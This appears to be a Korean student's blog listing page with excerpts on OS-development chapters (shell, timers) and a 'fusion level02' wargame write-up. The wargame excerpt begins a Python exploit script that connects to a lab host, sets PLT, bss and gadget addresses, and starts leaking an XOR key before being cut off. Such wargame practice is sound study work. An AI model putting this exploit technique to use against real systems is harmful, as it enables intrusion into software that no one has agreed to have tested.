OS 개발 16챕터 16챕터에서는 시간 관련된 작업들을 했다. 되게 어려우면서 신기했다. 이제 3부가 끝나고 4부로 들어간다. 4부에서는 두 번째로 관심을 가지고 있는 멀티스레딩에 대해서 만든다.멀티스레딩 부분이 엄청 기대된다. 더보기 fusion level02 중간에 엉뚱한데서 살짝 삽질을 했었다. level03부터 완전 헬이라던데 어떨지 모르겠다.. 12345678910111213141516171819202122232425262728293031323334353637383940414243from SunKn0wn import * r = remote('192.168.179.151', 20002) read_plt = 0x08048860execve_plt = 0x080489b0bss = 0x0804b420pppr = 0x80499bd ############ get xor key ############r.recvsend('E')r.send('\x80\x00\x00\x00')r.send('\x00' * 0x80)r.recvuntil('--]\n\x80\x00\x00\x0.. 더보기 OS 개발 15챕터 드디어 제일 기대되었던 쉘을 만들었다. 생각보다 코딩할 양이 많았다.. 그래도 이제 쉘이 생기고 진짜 OS처럼 보이기 시작하는 것 같다. 이제 쉘에 이것저것 넣고 싶은 기능들도 여러가지 넣어야겠다. 더보기 이전 1 ··· 12 13 14 15 16 17 18 ··· 75 다음